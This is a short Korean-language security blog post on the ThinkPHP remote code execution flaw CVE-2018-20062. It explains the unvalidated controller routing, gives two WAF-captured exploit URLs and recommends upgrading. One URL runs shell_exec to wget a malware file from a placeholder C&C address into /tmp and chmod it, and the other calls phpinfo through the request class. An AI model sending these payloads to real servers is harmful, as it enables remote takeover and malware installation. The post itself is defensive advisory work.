300x250
ThinkPHP 프레임워크 취약점(CVE-2018-20062)
* Think PHP란?
- 중국기업 탑씽크에서 개발한 아파치2 기반의 PHP 프레임워크.
- 중국 40,000개 이상의 서버가 Think PHP를 통해 서버를 구동.
- 해당 프레임워크의 경우 중국이 개발하여 아시아권에서 많이 사용.
* 취약점 : CVE-2018-20062
- 해당 취약점의 경우 원격명령실행을 할 수 있음.
- url에서 컨트롤러 클래스명의 유효성이 검증되지 않아 강제 라우팅 옵션을 사용하지 않고 getshell 취약성을 유발한다.
EX) WAF에서 탐지된 Think php 공격코드
1) 컨트롤러 클래스 app을 통한 원격명령실행
/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;wget%20http://(C&C_IP)/(악성코드파일);chmod (권한 설정 및 악성코드파일)
- think php의 경우 '/' 기준으로 파싱을 진행
- 만약 '\'를 이용하면 think 내에 컨트롤러 클래스 app를 생성하여 invokefunction 메소드를 통해 원격명령 실행가능.
2) 컨트롤러 클래스 request을 통한 원격명령실행
?s=index/\think\request/cache&key=1|phpinfo
- request 컨트롤러 클래스를 통해서 원격코드 명령어 실행가능
* 취약점 해결방안
- 해당 취약점의 경우 2018 12월 보안업데이트를 통해서 해결이 되었음. (정규표현식에서 '\' 필터링을 통해서 해결)
- ThinkPHP 버전 5.0.23 또는 5.1.31로 업데이트를 하는 것은 권장.
- 최근 해당 공격이 많이 WAF를 통해 많이 탐지되고 있으며, 국내는 ThinkPHP를 사용하시는 분은 많이 없지만 사용하신다면 주의가 필요합니다.
참고사이트
https://www.boannews.com/media/view.asp?idx=76245 (보안뉴스 - 아시아에서 인기 높은 PHP 프레임워크에서 취약점 발견)
https://securitynews.sonicwall.com/xmlpost/thinkphp-remote-code-execution-rce-bug-is-actively-being-exploited/ (sonicwall - 상세한 취약점에 대한 분석 및 취약점코드 게시)
반응형
'IT Security > Vulnerability' 카테고리의 다른 글
취약점) CVE-2018-2628 Oracle Weblogic RCE 역직렬화 취약점 (0) | 2020.03.02 |
---|---|
취약점 ) CVE-2018-1273 Spring Remote code execution (0) | 2019.10.11 |
취약점 ) CVE-2019-16759 vBulletin 제로데이 취약점 (0) | 2019.10.10 |
취약점 ) CVE-2015-8562 Joomla 원격 코드 실행 (0) | 2019.05.20 |
취약점) ThinkPHP 원격 코드 실행 취약점 POC (CVE-2018-20062) (0) | 2019.03.24 |